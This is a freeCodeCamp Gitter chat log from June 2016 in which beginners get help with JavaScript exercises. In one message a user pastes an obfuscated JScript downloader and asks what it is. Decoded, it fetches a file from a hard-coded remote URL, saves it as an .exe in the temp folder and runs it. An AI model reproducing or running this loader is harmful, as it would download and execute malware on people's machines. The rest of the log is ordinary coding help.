// Setup
function abTest(a, b) {
  // Only change code below this line
  switch (a, b) {
    case a < 0:
    case b < 0: 
      return ;
      break;


  }

  // Only change code above this line

  return Math.round(Math.pow(Math.sqrt(a) + Math.sqrt(b), 2));
}

// Change values below to test your code
abTest(2,2);
bitgrower
@bitgrower
Jun 15 2016 03:45
it is indeed ... I like to tell beginning campers they need to carefully break down the problem...
  1. what are your inputs, what are you given ...
  2. what are you expected to return
  3. then, and only then, figure what kinds of tools you have to get there ...
Diego Mayer
@Chrono79
Jun 15 2016 03:47
@rumpumpum use if instead of switch to evaluate 2 vars
Norvin Burrus
@ndburrus
Jun 15 2016 03:48
@rumpumpum which challenge is this?
Eugeniu Botnaru
@3ugen
Jun 15 2016 03:49
@Chrono79 do I have to somehow test if the values given to abTest are strings or numbers?
@ndburrus This one
Diego Mayer
@Chrono79
Jun 15 2016 03:50
@rumpumpum no need
Norvin Burrus
@ndburrus
Jun 15 2016 03:51
@rumpumpum note: the instructions offer the condition: if :sparkles:
Jesse Neumann
@Jesse989
Jun 15 2016 03:52
can anyone point me to the info to complete the "Arguments Optional" algorithm challenge? This is the first time I have seen returning functions and I am so confused...
FM
@mafelix
Jun 15 2016 03:55
@Code-Eric did you figure it out?
Eric
@Code-Eric
Jun 15 2016 03:55
yes i did
thank you
thanks @mafelix @Chrono79 @bitgrower
CamperBot
@camperbot
Jun 15 2016 03:56
code-eric sends brownie points to @mafelix and @chrono79 and @bitgrower :sparkles: :thumbsup: :sparkles:
:cookie: 272 | @mafelix |http://www.freecodecamp.com/mafelix
:star2: 1178 | @chrono79 |http://www.freecodecamp.com/chrono79
:star2: 1101 | @bitgrower |http://www.freecodecamp.com/bitgrower
Diego Mayer
@Chrono79
Jun 15 2016 03:58
@Jesse989 I think you've already read the useful links
bitgrower
@bitgrower
Jun 15 2016 03:58
@Jesse989 -- the trick to Arguments optional is not that it's returning a function (you've actually already been doing that when you write anonymous functions in methods like array.filter -- (it's just a variable, whose type is "function") ... the trick is in understanding closures ... :)
and, to be honest, to help me understand closures, I did refer to external sources ... in particular, I believe Tony Alicea's "javascript the weird parts" course on Udemy was what helped clear it up ... and it became even more clear over time ...
Jesse Neumann
@Jesse989
Jun 15 2016 04:01
yes, I am confused that I am getting arguments that look like "addTogether(2)(3)", I dont know where they go!
bitgrower
@bitgrower
Jun 15 2016 04:01
exactly ... do you know what a stack is ?
Jesse Neumann
@Jesse989
Jun 15 2016 04:01
not yet, I need to go find out I am assuming!
Chris Cullen
@123xylem
Jun 15 2016 04:01
This message was deleted
Diego Mayer
@Chrono79
Jun 15 2016 04:02
@Jesse989 addTogether(2) should return a function that adds 2 and 3 in that case
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 04:02
@Chrono79 thanks i solved it ^_^
CamperBot
@camperbot
Jun 15 2016 04:02
mohammedahmed49 sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1179 | @chrono79 |http://www.freecodecamp.com/chrono79
Chris Cullen
@123xylem
Jun 15 2016 04:02
Just did this regex valid us telephone challenge. I had to basically cheat and learn someones answer(fastest way of learning it imo). But I just want to clarify 2 parts of the regex
function telephoneCheck(str) {
var regex=/^(1\s?) ? <<<WHY 2nd ?  (\(\d{3}\)|\d{3})[\s\-]?\d{3}[\s\-]?\d{4}$/;  //And whats diff on this alternative^^ \d{3}


 return regex.test(str);

}
telephoneCheck("123**&!!asdf#");
Why is there a ? and why alternative d{3}
bitgrower
@bitgrower
Jun 15 2016 04:02
also what I don't think is quite clearly explained in the AO challenge is that the the function you return will be immediately executed by the function which called arguments optional ...
Diego Mayer
@Chrono79
Jun 15 2016 04:03
@123xylem the 1 is optional, let me see, it's 1 am here
Chris Cullen
@123xylem
Jun 15 2016 04:03
so first char should be 1... but optional?
bitgrower
@bitgrower
Jun 15 2016 04:03
@123xylem - I recommend going thru the regexone tutorial ... after you finish the 1st tutorial, there is an advanced tutorial ... and you know what the first challenge is in that tutorial? Pretty much the same one as this challenge .. :)
it's pretty fast to go thru and it's well done, and it will answer your questions, I think ...
Chris Cullen
@123xylem
Jun 15 2016 04:04
Yea but u guys are faster :)
bitgrower
@bitgrower
Jun 15 2016 04:05
how do you think we got that way ?
Chris Cullen
@123xylem
Jun 15 2016 04:05
so first char is 1 with whitespace 0-1 times. that happens 0-1 times
bitgrower
@bitgrower
Jun 15 2016 04:05
by putting in the time .. :)
Diego Mayer
@Chrono79
Jun 15 2016 04:05
hackerrank regex challenges is a good source too
Chris Cullen
@123xylem
Jun 15 2016 04:05
Im standing on the shoulders of giants like u @bitgrower
bitgrower
@bitgrower
Jun 15 2016 04:06
hahahahahahahahaha ...
Chris Cullen
@123xylem
Jun 15 2016 04:06
dont make me climmb :)
bitgrower
@bitgrower
Jun 15 2016 04:06
so, this giant is telling you how to become a giant yourself ... really ... the first tutorial is like 10 exercises ... it's fun, actually (at least I found it fun)...
MertKulte
@MertKulte
Jun 15 2016 04:06
hello guys, i m working on random quote machine right now and I have a little question about share buttons. When I read facebook and twitter documentation, they give you classes and functions like FB.ui. How are they already in my code? I didnt add any external js?
Chris Cullen
@123xylem
Jun 15 2016 04:06
((\d{3})|\d{3}) What is the difference with these 2?
I will do that excercise after then .. I promise
bitgrower
@bitgrower
Jun 15 2016 04:07
...and the more comfortable you are with regexes, you will expand your software powers practically exponentially ... regexes are like programmer's secret spells
Diego Mayer
@Chrono79
Jun 15 2016 04:07
@123xylem one has escaped parentheses, not what you wrote in the last post, check the original regex
bitgrower
@bitgrower
Jun 15 2016 04:08
I have a GREAT love for regexes ... not because I'm awesome at them ... but because I know how powerful they are ... (and they are...incredibly powerful...)
if you want to be a decent programmer ... go do the tutorials...you'll thank me, I promise
also, there are a ton of wonderful regex tester resources (among other things) :smile:
help regexes
CamperBot
@camperbot
Jun 15 2016 04:10
no wiki entry for: regexes
bitgrower
@bitgrower
Jun 15 2016 04:10
help regex resources
CamperBot
@camperbot
Jun 15 2016 04:10

:point_right: js regex resources [wiki]

Regular Expressions Resources

Links to useful RegEx resources.

See also: :clipboard: Tutorials | :syringe: Testing | :soccer: Games | :newspaper: Blogs | :package: Software

:pencil: read more about js regex resources on the FCC Wiki

Diego Mayer
@Chrono79
Jun 15 2016 04:10
this is what I did in that challenge, maybe there is a shorter version but meh: /^1?\s?(\(\d{3}\)|\d{3})[\s-]?\d{3}[\s-]?\d{4}$/ it worked ;)
Jonathan Carroll
@gkcodeman
Jun 15 2016 04:16

// Example
function minusSeven(num) {
  return num - 7;
}

// Only change code below this line

function timesFive(num){
  return num * 5;
}
how is this correct?
console reads timesfive(5) === 25
Instructions
Create a function timesFive that accepts one argument, multiplies it by 5, and returns the new value.
Diego Mayer
@Chrono79
Jun 15 2016 04:20
I'm gone, bye
RakeshNerkar
@Rakesh18754
Jun 15 2016 04:23
can i use closure for the same
functionOne(){
var = a;
}
functionTwo(){
var = b;
}
i want to access var a in function 2
Wayne Bunch
@waynebunch
Jun 15 2016 04:35

function myReplace(str, before, after) {
  var replace = RegExp(before, 'g');
  return str.replace(replace, after);
}

myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped");
Is there really no way to make this this keep capitalization of the replaced string?
Chris Cullen
@123xylem
Jun 15 2016 04:36
@Chrono79 @bitgrower thanks
CamperBot
@camperbot
Jun 15 2016 04:36
123xylem sends brownie points to @chrono79 and @bitgrower :sparkles: :thumbsup: :sparkles:
:star2: 1180 | @chrono79 |http://www.freecodecamp.com/chrono79
:star2: 1102 | @bitgrower |http://www.freecodecamp.com/bitgrower
archan6le
@archan6le
Jun 15 2016 04:44
hey guys... Wondering if you could help, I am doing "Make object Properties Private" and was able to get my code to return all the desired results listed. The only problem is that four of them are red 'x' . The code returns each desired outcome, I tested each one and it worked. Maybe my syntax is wrong? Here is my code
var Bike = function() {

  // Only change code below this line.
  //private property called gear 
  var gear = 0;
 //two public methods called getGear and setGear
  this.setGear = function(change){
    gear += change;
  };
  this.getGear = function(){
    return gear;
  };
};

var myCar = new Car();

var myBike = new Bike();

myBike.setGear(4);
Coy Sanders
@coymeetsworld
Jun 15 2016 04:47
you don't have a Car function defined @archan6le
you just have Bike
archan6le
@archan6le
Jun 15 2016 04:54
ty @coymeetsworld
CamperBot
@camperbot
Jun 15 2016 04:54
archan6le sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles:
:star2: 1152 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld
i have a problem in this code
the null isn't filtered
any help ?
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:02

Hi, I have a question on Check for Palindromes challenge. I am trying to delete special characters with this code function palindrome(str) {
var newstr, arr;
str = str.replace(/\s+|[.,_-]/g,"");
str = str.toLowerCase();
console.log(str);
newstr = str;
arr = newstr.split("");
arr.reverse();
newstr=arr.join("");
console.log(newstr);
return (str === newstr);
}

palindrome("00 .(: /-\ :) 0-0");

andreas2249
@andreas2249
Jun 15 2016 05:03

Good evening, Campers. Tinkering with jQuery and buttons for first time. Can someone please show me why the one button handler I have isn't triggering? I've checked for typos, braces, brackets, spelling, etc. Even looked at StackOverflow for proper syntax... Here's my CodePen. Thanks in advance. :)

https://codepen.io/andreas2249/pen/wWGVgg

(It's the jQuery for "#btn1"...)
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:04
People, how to put code fragments here&
?
Shusil Banjade
@shusil123
Jun 15 2016 05:05
This message was deleted
CamperBot
@camperbot
Jun 15 2016 05:05
no wiki entry for: format
Shusil Banjade
@shusil123
Jun 15 2016 05:05
wiki format
CamperBot
@camperbot
Jun 15 2016 05:05

:point_right: code formatting [wiki]

Multi line Code

```js ⇦ Type 3 backticks and then press [shift + enter ⏎] (type js or html or css)

<paste your code here>,
then press [shift + enter ⏎]

``` ⇦ Type 3 backticks, then press [enter ⏎]

Single line Code

This an inline `<paste code here>` code formatting with a single backtick() at _start_ and _end_ around thecode`.

See also: ☛ How to type Backticks | ☯ Compose Mode | ❄ Gitter Formatting Basics

:pencil: read more about code formatting on the FCC Wiki

byronsj
@byronsj
Jun 15 2016 05:06
@btaspikhov i used str.replace(/\W|-|_/g, "")
Shusil Banjade
@shusil123
Jun 15 2016 05:07
@btaspikhov , or simply /\W_/g, "" will work
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:08
asasa
replace(/\s+|[.,_-]/g,"")
this removes "\" symbols too. I just do not understand why
there is no condition for them in the statement
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 05:09
guys any help please :(
Shusil Banjade
@shusil123
Jun 15 2016 05:09
@andreas2249 , Put your function swapInnerHTML , inside document.ready .
byronsj
@byronsj
Jun 15 2016 05:09
sorry @btaspikhov it was .replace(/\W|-|_/g,"")
Shusil Banjade
@shusil123
Jun 15 2016 05:09
@MohammedAhmed49 , The problem ?
the null should be removed but it doesn't
Ken Nawrocki
@nawrockp
Jun 15 2016 05:11
@andreas2249 most likely jquery isnt loaded and you are using the$ variable
Change$ to jQuery
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:12
My question basically is why the even .replace(/[_]/g,"") replaces backslashes? ("\")
Shusil Banjade
@shusil123
Jun 15 2016 05:12
@MohammedAhmed49 , instead of using all falsy values in if / else , you can simply use filter and Boolean object.
Brian Mayers
@4mifix
Jun 15 2016 05:13
@andreas2249 did you add the jQuery dependencies to run in your JS file?
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 05:13
i used filter and it works for all falsy vals but doesn't work for null
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:13
input string: 0_0 .(: /-\_ :) 0-0
method: str.replace(/[_]/g,"")
output string: 00 .(: /- :) 0-0
See there is no "\" ?
Shusil Banjade
@shusil123
Jun 15 2016 05:14
@MohammedAhmed49 , var ar = arr.filter(Boolean); return ar; . It should work
andreas2249
@andreas2249
Jun 15 2016 05:15
@nawrockp, thank you for your prompt reply. Total newbie error: I didn't have the jQuery 'quickAdd' added in. Looks like that needs to be loaded for each new project. Thanks for your time and consideration. It works now. :)
CamperBot
@camperbot
Jun 15 2016 05:15
andreas2249 sends brownie points to @nawrockp :sparkles: :thumbsup: :sparkles:
:cookie: 315 | @nawrockp |http://www.freecodecamp.com/nawrockp
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 05:16
wow it's so simple :D it doen't even need another func
andreas2249
@andreas2249
Jun 15 2016 05:16
@shusil123, thank you for your prompt reply. Newbie error on my part: Didn't have jQuery quickAdd loaded. Thanks again. :)
CamperBot
@camperbot
Jun 15 2016 05:16
andreas2249 sends brownie points to @shusil123 :sparkles: :thumbsup: :sparkles:
:cookie: 443 | @shusil123 |http://www.freecodecamp.com/shusil123
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 05:16
@shusil123 really thanks
CamperBot
@camperbot
Jun 15 2016 05:16
mohammedahmed49 sends brownie points to @shusil123 :sparkles: :thumbsup: :sparkles:
:cookie: 444 | @shusil123 |http://www.freecodecamp.com/shusil123
Ken Nawrocki
@nawrockp
Jun 15 2016 05:16
You should thank brian
Brian Mayers
@4mifix
Jun 15 2016 05:17
@nawrockp Thank you Ken
CamperBot
@camperbot
Jun 15 2016 05:17
4mifix sends brownie points to @nawrockp :sparkles: :thumbsup: :sparkles:
:cookie: 316 | @nawrockp |http://www.freecodecamp.com/nawrockp
Shusil Banjade
@shusil123
Jun 15 2016 05:17
@MohammedAhmed49 , My pleasure. @andreas2249 .
byronsj
@byronsj
Jun 15 2016 05:17
@btaspikhov .replace(/\W/g, "") replaces almost everythive except for - and _
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:18
@byronsj, I understand that. But I don't understand the behavior of the method in this particular case.
Markus Kiili
@Masd925
Jun 15 2016 05:21
@shusil123 You can do without the variable return arr.filter(Boolean);
byronsj
@byronsj
Jun 15 2016 05:21
@btaspikhov oh yes i saw thay too, if you return str befor you change it you will see it is alrady missing for somereson
I'm not sure why
Shusil Banjade
@shusil123
Jun 15 2016 05:22
@Masd925 , Just for simplicity. :smile: Thanks, sir..
CamperBot
@camperbot
Jun 15 2016 05:22
shusil123 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:star2: 1866 | @masd925 |http://www.freecodecamp.com/masd925
Berik Taspikhov
@btaspikhov
Jun 15 2016 05:22
@byronsj really? It means the problem is not in the method. Thank you.
CamperBot
@camperbot
Jun 15 2016 05:22
btaspikhov sends brownie points to @byronsj :sparkles: :thumbsup: :sparkles:
:cookie: 242 | @byronsj |http://www.freecodecamp.com/byronsj
andreas2249
@andreas2249
Jun 15 2016 05:29
I'm reading that .toggle has been deprecated/removed from jQuery. Is there a replacement method?
$(document).ready(function() {
  $("#btn1").click(function() { 
    swapInnerHtml(2, 0, "foo-bar")
  });
});
I'm just tinkering with buttons/jQuery for first time. Was trying to replace some text in a <p>-- then put it back again the way it was.

Sorry. Forgot to include the called function:

```

function swapInnerHtml(i, delay, newText) {
setTimeout(function() {
document.getElementById("section-" + i).innerHTML = "Text " + i + " swapped out for \"" + newText + "\"";
}, delay * 1000);
}

$(document).ready(function() {
$("#btn1").click(function() {
swapInnerHtml(2, 0, "foo-bar")
});
});

```

Tim
@t1flanagan
Jun 15 2016 05:31
okay, what stupid mistake am I making here?

var Car = function(wheels, seats, engines) {
  //Change this constructor
  this.wheels = 4;
  this.seats = 1;
  this.engines = 1;
};

//Try it out here
var myCar = new Car(3,1,2);
why won't this create the new object?
Jon
@Antiphilous
Jun 15 2016 05:32
Hey im looking for some guidance on the steamroller algorithim
can anyone help me out?
Shusil Banjade
@shusil123
Jun 15 2016 05:32
@Antiphilous , post what you have .
DJ
@qualitymanifest
Jun 15 2016 05:32
@t1flanagan what is the name of this challenge?
Jon
@Antiphilous
Jun 15 2016 05:33

function steamrollArray(arr) {
  var mergeArr = [];
  // I'm a steamroller, baby
  for(i = 0; i <arr.length; i++){

    while(arr[i].isArray){
    mergeArr.concat(arr[i]);  

    }

  }

  return mergeArr;
}

steamrollArray([1, [2], [3, [[4]]]]);
I don't have much really I have been playing around with a few different things... I am just not sure how to flatten it down
Tim
@t1flanagan
Jun 15 2016 05:33
Make Unique Objects by Passing Parameters to our Constructor :)
Stefan
@st3fun1
Jun 15 2016 05:34
Hi anyone here :)?
I need some help with a function
Shusil Banjade
@shusil123
Jun 15 2016 05:34
@st3fun1 , post the code
Stefan
@st3fun1
Jun 15 2016 05:35
I want to make this function shorter
function translatePigLatin(str) {
  var vocals = /[aeiouy]/gi;
  var arr = str.split('');
  if(arr[0].match(vocals)){
    return (str+'way');
  }
   return str.substr(arr.findIndex(function(item){
      return item.match(vocals);
   })) + str.substr(0,arr.findIndex(function(item){
      return item.match(vocals);
    })) + 'ay';
}

translatePigLatin("glove");
DJ
@qualitymanifest
Jun 15 2016 05:35
@t1flanagan so, rather than hardcoding the values inside the constructor, assign them to the parameters given
@t1flanagan i.e. this.wheels = wheels (since wheels is the name of one of the parameters)
Tim
@t1flanagan
Jun 15 2016 05:36
hmmm
Sorry, it's not clicking for me. Don't the properties inside a constructor have to start with this.
oh nevermind
Shusil Banjade
@shusil123
Jun 15 2016 05:38
@Antiphilous , the correct syntax of isArray is :
Array.isArray(arr[i]);
Tim
@t1flanagan
Jun 15 2016 05:38
Thanks @qualitymanifest , I got it.
CamperBot
@camperbot
Jun 15 2016 05:38
t1flanagan sends brownie points to @qualitymanifest :sparkles: :thumbsup: :sparkles:
:star2: 1200 | @qualitymanifest |http://www.freecodecamp.com/qualitymanifest
Shusil Banjade
@shusil123
Jun 15 2016 05:39
And , use if inside for, not while. You are using two loops. @Antiphilous
Tim
@t1flanagan
Jun 15 2016 05:39
Sometimes I get lost in what's a property, a variable, a parameter, etc.
Shusil Banjade
@shusil123
Jun 15 2016 05:40
And you are not defining i . var i=0; i<arr.length; ..... @Antiphilous
andreas2249
@andreas2249
Jun 15 2016 05:43
@t1flanagan, I had the same issue. Found this on StackOverflow and wrote it down: 'argumentis the value/variable/reference being passed in;parameteris the receiving variable used with the function/block. Another way of saying it: A method hasparametersand takesarguments`.
Oops. Lemme try that again: @t1flanagan, I had the same issue. Found this on StackOverflow and wrote it down: argument is the value/variable/reference being passed in; parameter is the receiving variable used with the function/block. Another way of saying it: A method has parameters and takes arguments.
Markus Kiili
@Masd925
Jun 15 2016 06:00
@Antiphilous Use steamrollArray to flatten the elements that are arrays.
Stefan
@st3fun1
Jun 15 2016 06:01

I have a little problem with my algorithm


function translatePigLatin(str) {
  var pigLatin = '';
  var vowels = /[aeiouy]/i;
  var arr = str.split('');
  function findFirstVowel(item){

  return item.match(vowels);

  }
   if(arr[0].match(vowels)){
    pigLatin = str + 'way';
   }else{
   pigLatin = str.substr(arr.findIndex(findFirstVowel)) +   str.substr(0,arr.findIndex(findFirstVowel)) + 'ay';
   }
   return pigLatin;
}

translatePigLatin("dd");

It passes the other tests, but not when the word is made fully of consonants. What do I need to do?

Jon
@Antiphilous
Jun 15 2016 06:01
@Masd925 Thanks... Im just kind of researching it right now
CamperBot
@camperbot
Jun 15 2016 06:01
antiphilous sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:star2: 1867 | @masd925 |http://www.freecodecamp.com/masd925
Jon
@Antiphilous
Jun 15 2016 06:02
@Antiphilous I found some solutions out there but I don't fully understand them yet, it seems that recursion is the way to go
Rodney Jan Mandap
@r0dJm4n
Jun 15 2016 06:03
Anyone knows what this code do and why it's look like encrypted?
var WQcNzAOJ= this['A\u0063\u0074i\u0076\u0065\u0058\u004F\u0062\u006Aec\u0074'];
var wjripTgoR = new WQcNzAOJ('\u0057\u0053\u0063\u0072\u0069\u0070\u0074.\u0053\u0068el\u006C');
    var UFzVwE = wjripTgoR['E\u0078p\u0061\u006E\u0064\u0045nviro\u006E\u006D\u0065\u006E\u0074\u0053tr\u0069\u006E\u0067\u0073']('%\u0054E\u004DP\u0025') + '\u002FYNA\u006C\u0074\u0053L\u004F\u002E\u0065x\u0065';
    var imfYWN = new WQcNzAOJ('\u004DS\u0058\u004D\u004C\u0032\u002E\u0058\u004DL\u0048\u0054\u0054\u0050');
    imfYWN['o\u006Er\u0065a\u0064\u0079s\u0074\u0061\u0074e\u0063h\u0061n\u0067e'] = function() {
        if (imfYWN['re\u0061d\u0079\u0073\u0074at\u0065'] === 4) {
            var uCGUYwIRv = new WQcNzAOJ('\u0041\u0044O\u0044\u0042\u002ES\u0074\u0072eam');
            uCGUYwIRv['\u006Fp\u0065n']();
            uCGUYwIRv['t\u0079\u0070e'] = 1;
            uCGUYwIRv['wri\u0074\u0065'](imfYWN['\u0052es\u0070o\u006E\u0073\u0065B\u006F\u0064\u0079']);
            uCGUYwIRv['p\u006Fs\u0069\u0074i\u006Fn'] = 0;
            uCGUYwIRv['\u0073\u0061ve\u0054o\u0046\u0069le'](UFzVwE, 2);
            uCGUYwIRv['c\u006Cos\u0065']();
        };
    };
    try {
    var    SfSPxFfe = '\u0052un';
        imfYWN['\u006Fpe\u006E']('G\u0045T' , '\u0068t\u0074\u0070\u003A\u002F\u002F\u006Ba\u0072t\u006F\u006E\u0073\u0074anda\u006Db\u0061\u006C\u0061\u006A\u002E\u0063\u006F\u006D\u002Et\u0072\u002F\u0073\u0079s\u0074\u0065\u006D\u002Flog\u0073/\u00387\u0068\u0037\u00354', false);
        imfYWN['s\u0065\u006Ed']();
        wjripTgoR [SfSPxFfe](UFzVwE, 1, false);      
    } catch (ajg9ggxFs) {};
Markus Kiili
@Masd925
Jun 15 2016 06:03
@Antiphilous Also remember that .concat() returns a new array.
Jon
@Antiphilous
Jun 15 2016 06:06
@Masd925 Thanks
CamperBot
@camperbot
Jun 15 2016 06:06
antiphilous sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:warning: antiphilous already gave masd925 points
Vinay Jaju
@vinay-jaju
Jun 15 2016 06:17
In the spinal Tap case How do i convert
thisIsSpinalTap to this-is-spinal-tap
Stefan
@st3fun1
Jun 15 2016 06:17
Ok guys, i finished my solution, sry for positing this much. Can you tell me if my solution is good? Now it works with all the tests + custom tests

function translatePigLatin(str) {
  var pigLatin = '';
  var vowels = /[aeiouy]/i;
  var arr = str.split('');
  function findFirstVowel(item){

  return item.match(vowels);

  }
   //findFirstConsonant
   if(arr.findIndex(findFirstVowel) === 0){
     pigLatin = str + 'way';
   }else if(arr.findIndex(findFirstVowel) >= 0){
     pigLatin = str.substr(arr.findIndex(findFirstVowel)) +   str.substr(0,arr.findIndex(findFirstVowel)) + 'ay';
   }else{
     pigLatin = str + 'ay';
   }
   return pigLatin;
}

translatePigLatin("zz");
Jon
@Antiphilous
Jun 15 2016 06:22
@vinay-jaju I used RegExp
Vinay Jaju
@vinay-jaju
Jun 15 2016 06:22
Obviously but how
I mean how do i find out where to add spaces
@Antiphilous
Jon
@Antiphilous
Jun 15 2016 06:23
@vinay-jaju show me your code so far
Vinay Jaju
@vinay-jaju
Jun 15 2016 06:23
function spinalCase(str) {
  // "It's such a fine line between stupid, and clever."
  // --David St. Hubbins
  str=str.replace(/\s/gi,'-');
  str=str.toLowerCase();
  return str;
}

spinalCase('This Is Spinal Tap');
Jon
@Antiphilous
Jun 15 2016 06:24
nice ok
that is your friend
There is particular bit of information at the bottom which is super cool

x(?=y)

Matches x only if x is followed by y.

For example, /Jack(?=Sprat)/ matches "Jack" only if it is followed by "Sprat".
/Jack(?=Sprat|Frost)/ matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results.
x(?!y)

Matches x only if x is not followed by y.

For example, /\d+(?!.)/ matches a number only if it is not followed by a decimal point.
/\d+(?!.)/.exec('3.141') matches "141" but not "3.141".

Stefan
@st3fun1
Jun 15 2016 06:25
check Eloquent JS Chapter 9
for regex
Jon
@Antiphilous
Jun 15 2016 06:26
@vinay-jaju So you can match certain characters only if they have something coming before or after them
so
Vinay Jaju
@vinay-jaju
Jun 15 2016 06:29
Alright. Got it! Thanks @Antiphilous
CamperBot
@camperbot
Jun 15 2016 06:29
vinay-jaju sends brownie points to @antiphilous :sparkles: :thumbsup: :sparkles:
:cookie: 319 | @antiphilous |http://www.freecodecamp.com/antiphilous
Jon
@Antiphilous
Jun 15 2016 06:30
@vinay-jaju your welcome :D
Alright I don't feel proud of it because I had to basically look up how to do the steamroller I understand the code except for the for in loop part
can someone help me understand this


  function steamrollArray(arr) {
  var flattenedArray = [];


 var flatten = function(argument){


    if(!Array.isArray(argument)){

      flattenedArray.push(argument);

    } else{

      for( var a in argument){  //Code I don't fully understand

        flatten(argument[a]);
      }
      }



    };

 arr.forEach(flatten);

    return flattenedArray;
Markus Kiili
@Masd925
Jun 15 2016 06:33
@Antiphilous That is not a very good solution. There is no need to use an inner function.
Jon
@Antiphilous
Jun 15 2016 06:34
@Masd925 alright im still not understanding it then :/
Markus Kiili
@Masd925
Jun 15 2016 06:35
@Antiphilous It uses for...in to loop over array indices, which is also not recommended.
Jon
@Antiphilous
Jun 15 2016 06:36
@Masd925 Yes so how could I go over it otherwise?
Markus Kiili
@Masd925
Jun 15 2016 06:38
@Antiphilous Simple for loop is better.
@Antiphilous This is one good way to do it:
function steamrollArray(arr) {
    if (Array.isArray(arr)) {
        var result = [];
        for (var i=0;i<arr.length;i++) {
            result = result.concat(steamrollArray(arr[i]));
        }
        return result;
    }
    else return arr;
}
And another one with iterator:
function steamrollArray(arr) {
  return arr.reduce(function(previousValue, currentValue) {
    return previousValue.concat(Array.isArray(currentValue) ? steamrollArray(currentValue) : currentValue);
    }, []);  
}
Shusil Banjade
@shusil123
Jun 15 2016 06:46
@Masd925 , I was seraching for the first solution. The second one was what i did to complete the challenge. Thanks a ton.
CamperBot
@camperbot
Jun 15 2016 06:46
shusil123 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:star2: 1868 | @masd925 |http://www.freecodecamp.com/masd925
Markus Kiili
@Masd925
Jun 15 2016 06:52
@shusil123 You're wellcome. Next, do it without recursion ;)
himanshu mittal
@himanshu081996
Jun 15 2016 06:52
im getting problem with array.filter anyone plzz help
Markus Kiili
@Masd925
Jun 15 2016 06:52
@himanshu081996 Sure.
himanshu mittal
@himanshu081996
Jun 15 2016 06:54
@Masd925 if i have an array=[1,2,3,1,2,3] how can i remove 2 with array.filter
Shusil Banjade
@shusil123
Jun 15 2016 06:55
@Masd925 , I'll do that . Without recursion. Sounds awesome. :smile:
Markus Kiili
@Masd925
Jun 15 2016 06:55
@himanshu081996
var array=[1,2,3,1,2,3];
array=array.filter(function(elem){
    return ???
});
So filter passes each array element into the callback function as value of elem. Figure out such return value which is true for numbers other than 2 and false for 2. Then it works.
himanshu mittal
@himanshu081996
Jun 15 2016 06:58
what is mistake in below code
function bouncer(arr) {
return arr.filter(function(i){
return i !=="false" || i !=="null" || i !==0 || i !=="undefined" || i !=="NaN";
});
}
bouncer([7, "ate", "", false, 9]);
@Masd925
Markus Kiili
@Masd925
Jun 15 2016 06:59
@himanshu081996 Use &&. Also NaN is special because NaN is not equal to anything.
null without quotes.
undefined without quotes.
himanshu mittal
@himanshu081996
Jun 15 2016 06:59
@Masd925 oops thanks.
CamperBot
@camperbot
Jun 15 2016 06:59
himanshu081996 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:star2: 1869 | @masd925 |http://www.freecodecamp.com/masd925
Markus Kiili
@Masd925
Jun 15 2016 07:00
Those are special values, not strings.
himanshu mittal
@himanshu081996
Jun 15 2016 07:00
okk @Masd925
Markus Kiili
@Masd925
Jun 15 2016 07:00
You can test a variable for not being NaN with i===i, because NaN===NaN is false.
himanshu mittal
@himanshu081996
Jun 15 2016 07:04
i===i ??? @Masd925
im not getting this @Masd925
PrinceLex
@PrinceLex
Jun 15 2016 07:06
Hello, can I get some help with this?

function updateRecords(id, prop, value) {
if (prop == "tracks" && value !== "") {
collection[id].tracks.push(value);
} else if (value !== "") {
collection[id][prop] = value;
} else if (value === "") {
delete collection[id][prop];
}

return collection;
}

I can't get the function to work because console says "Cannot read property "push" of undefined
Jason Keenan
@raavin
Jun 15 2016 07:07
This message was deleted
Markus Kiili
@Masd925
Jun 15 2016 07:07
@himanshu081996 Variable i can hold values, like 0, "catpants", NaN, etc. All values are equal to themselves, except for NaN which is not equal to any value. Even NaN===NaN is false. Therefore i===i is false only if i is NaN. Threrefore you can test i for not being NaN with i===i.
himanshu mittal
@himanshu081996
Jun 15 2016 07:08
@Masd925 ohh thanks man.
CamperBot
@camperbot
Jun 15 2016 07:08
himanshu081996 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles:
:warning: himanshu081996 already gave masd925 points
Markus Kiili
@Masd925
Jun 15 2016 07:08
@PrinceLex Create the tracks array if it is absent.
PrinceLex
@PrinceLex
Jun 15 2016 07:10
I tried checking with hasOwnProperty, then creating the array, but it didn't work
Markus Kiili
@Masd925
Jun 15 2016 07:11
@PrinceLex That is the correct way.
Alexander Køpke
@alexanderkopke
Jun 15 2016 07:13
yeah creating an empty tracks array works fine. All that is needed
PrinceLex
@PrinceLex
Jun 15 2016 07:14

function updateRecords(id, prop, value) {
if (prop == "tracks" && value !== "") {
if (collection[id].hasOwnProperty("tracks")) {
collection[id].tracks.push(value);
} else {
tracks = new Array();
collection[id].tracks.push(value);
}
} else if (value !== "") {
collection[id][prop] = value;
} else if (value === "") {
delete collection[id][prop];
}

return collection;
}

I'm getting the same error message
Alexander Køpke
@alexanderkopke
Jun 15 2016 07:16
This message was deleted
Markus Kiili
@Masd925
Jun 15 2016 07:16
@PrinceLex Assign the array to the property value.
Alexander Køpke
@alexanderkopke
Jun 15 2016 07:16
wait.. you did
PrinceLex
@PrinceLex
Jun 15 2016 07:17
@Masd925 How do I do that?
Alexander Køpke
@alexanderkopke
Jun 15 2016 07:17
I was doing collection[id].tracks = [];
PrinceLex
@PrinceLex
Jun 15 2016 07:17
Never had so much trouble with an exercise
